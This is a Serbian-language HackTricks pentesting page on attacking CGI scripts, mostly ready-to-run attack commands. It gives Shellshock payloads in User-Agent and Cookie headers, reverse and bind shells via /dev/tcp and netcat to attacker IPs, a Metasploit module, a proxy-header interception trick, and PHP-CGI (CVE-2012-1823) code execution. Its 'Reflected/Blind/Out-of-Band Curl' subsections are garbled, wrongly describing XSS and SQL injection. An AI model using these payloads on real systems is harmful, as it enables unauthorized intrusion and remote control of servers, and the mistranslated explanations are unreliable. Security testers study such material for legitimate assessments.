Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
# Informacije
**CGI skripte su perl skripte**, pa ako ste kompromitovali server koji može izvršavati _**.cgi**_ skripte, možete **upload-ovati perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **promeniti ekstenziju** iz **.pl** u **.cgi**, dati **dozvole za izvršavanje** \(`chmod +x`\) i **pristupiti** reverse shell-u **iz web pregledača** da ga izvršite.
Da biste testirali **CGI ranjivosti**, preporučuje se korišćenje `nikto -C all` \(i sve dodatke\)
# **ShellShock**
**ShellShock** je **ranjivost** koja utiče na široko korišćeni **Bash** komandni shell u Unix baziranim operativnim sistemima. Cilja sposobnost Basha da izvršava komande koje aplikacije prosleđuju. Ranjivost leži u manipulaciji **okruženjskim promenljivama**, koje su dinamički nazvane vrednosti koje utiču na način izvršavanja procesa na računaru. Napadači mogu iskoristiti ovo tako što pridružuju **zlonameran kod** okruženjskim promenljivama, koji se izvršava prilikom prijema promenljive. Ovo omogućava napadačima da potencijalno kompromituju sistem.
Iskorišćavanjem ove ranjivosti, **stranica može prikazati grešku**.
Možete **pronaći** ovu ranjivost primetivši da koristi **stariju verziju Apache-a** i **cgi\_mod** \(sa cgi folderom\) ili korišćenjem **nikto-a**.
## **Test**
Većina testova se zasniva na ispisivanju nečega i očekivanju da se taj string vrati u web odgovoru. Ako mislite da je neka stranica ranjiva, potražite sve cgi stranice i testirajte ih.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(reflektovano, slepo i van opsega\)**
---
### **Reflected Curl**
Reflektovani Curl je tehnika koja se koristi za otkrivanje ranjivosti reflektovanih XSS napada u aplikacijama. Ova tehnika uključuje slanje HTTP zahteva koji sadrže zlonamerni kod koji se reflektuje nazad na korisnika. Kada se korisnik izloži ovom zlonamernom kodu, napadač može izvršiti različite vrste napada, uključujući krađu kolačića ili preusmeravanje na zlonamerni sajt.
---
### **Blind Curl**
Slepi Curl je tehnika koja se koristi za otkrivanje ranjivosti slepih SQL injekcija u aplikacijama. Ova tehnika uključuje slanje HTTP zahteva koji sadrže SQL upit koji se izvršava na serverskoj strani. Međutim, umesto da se rezultati upita prikažu korisniku, napadač koristi slepe tehnike za dobijanje informacija o bazi podataka. Ovo može uključivati izvršavanje upita koji vraćaju tačne ili netačne rezultate, kao i izvršavanje upita koji izazivaju odgovor sa kašnjenjem.
---
### **Out-of-Band Curl**
Curl van opsega je tehnika koja se koristi za otkrivanje ranjivosti koje omogućavaju napadaču da komunicira sa spoljnim serverom izvan ciljne mreže. Ova tehnika uključuje slanje HTTP zahteva koji sadrže zlonamerni kod koji izaziva komunikaciju sa spoljnim serverom. Napadač može iskoristiti ovu komunikaciju za izvršavanje različitih vrsta napada, kao što su preuzimanje osetljivih podataka ili izvršavanje zlonamernih operacija na ciljnom sistemu.
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
[**Shellsocker**](https://github.com/liamim/shellshocker)
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## Iskorišćavanje ranjivosti
### Remote Command Execution (RCE)
Ranjivosti u CGI skriptama često omogućavaju izvršavanje udaljenih komandi na serveru. Ova vrsta ranjivosti se naziva Remote Command Execution (RCE). Kada se ova ranjivost iskoristi, napadač može izvršavati proizvoljne komande na serveru.
Da biste iskoristili ovu ranjivost, prvo morate pronaći CGI skriptu koja je ranjiva. Zatim, trebate identifikovati način na koji se korisnički unos prosleđuje skripti. Ovo može biti putem URL parametara, HTTP zaglavlja ili formi. Nakon što identifikujete način prosleđivanja korisničkog unosa, možete pokušati ubaciti komandu koju želite izvršiti.
Na primer, ako je CGI skripta ranjiva i korisnički unos se prosleđuje putem URL parametara, možete pokušati ubaciti komandu u URL parametar. Na taj način, kada se skripta izvrši, vaša komanda će biti izvršena na serveru.
Evo primera URL parametra koji bi mogao biti iskorišćen za RCE:
```
http://example.com/cgi-bin/script.cgi?param=;ls
```
U ovom primeru, komanda `ls` će biti izvršena na serveru. Napadač može koristiti ovu tehniku za izvršavanje bilo koje komande koju želi, uključujući i one koje mogu dovesti do daljeg kompromitovanja sistema.
Važno je napomenuti da je iskorišćavanje RCE ranjivosti nelegalno i može imati ozbiljne pravne posledice. Ove informacije su namenjene samo u edukativne svrhe i ne treba ih koristiti za neovlašćene aktivnosti.
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM zahtevi web serveru\)**
CGI kreira okruženjsku promenljivu za svaki zaglavlje u HTTP zahtevu. Na primer: "host:web.com" se kreira kao "HTTP\_HOST"="web.com"
Pošto se HTTP\_PROXY promenljiva može koristiti od strane web servera, pokušajte da pošaljete **zaglavlje** koje sadrži: "**Proxy: <IP\_napadača>:<PORT>**" i ako server izvrši bilo koji zahtev tokom sesije, bićete u mogućnosti da uhvatite svaki zahtev koji je server napravio.
# Stari PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
U osnovi, ako je cgi aktivan i php je "star" \(<5.3.12 / < 5.4.2\) možete izvršiti kod.
Da biste iskoristili ovu ranjivost, morate pristupiti nekom PHP fajlu web servera bez slanja parametara \(posebno bez slanja karaktera "="\).
Zatim, kako biste testirali ovu ranjivost, možete pristupiti na primer `/index.php?-s` \(primetite `-s`\) i **izvorni kod aplikacije će se pojaviti u odgovoru**.
Zatim, kako biste dobili **RCE**, možete poslati ovaj poseban upit: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **PHP kod** koji će biti izvršen u **telo zahteva.
Primer:**
```bash
curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Više informacija o ranjivosti i mogućim eksploatacijama:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Primer**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.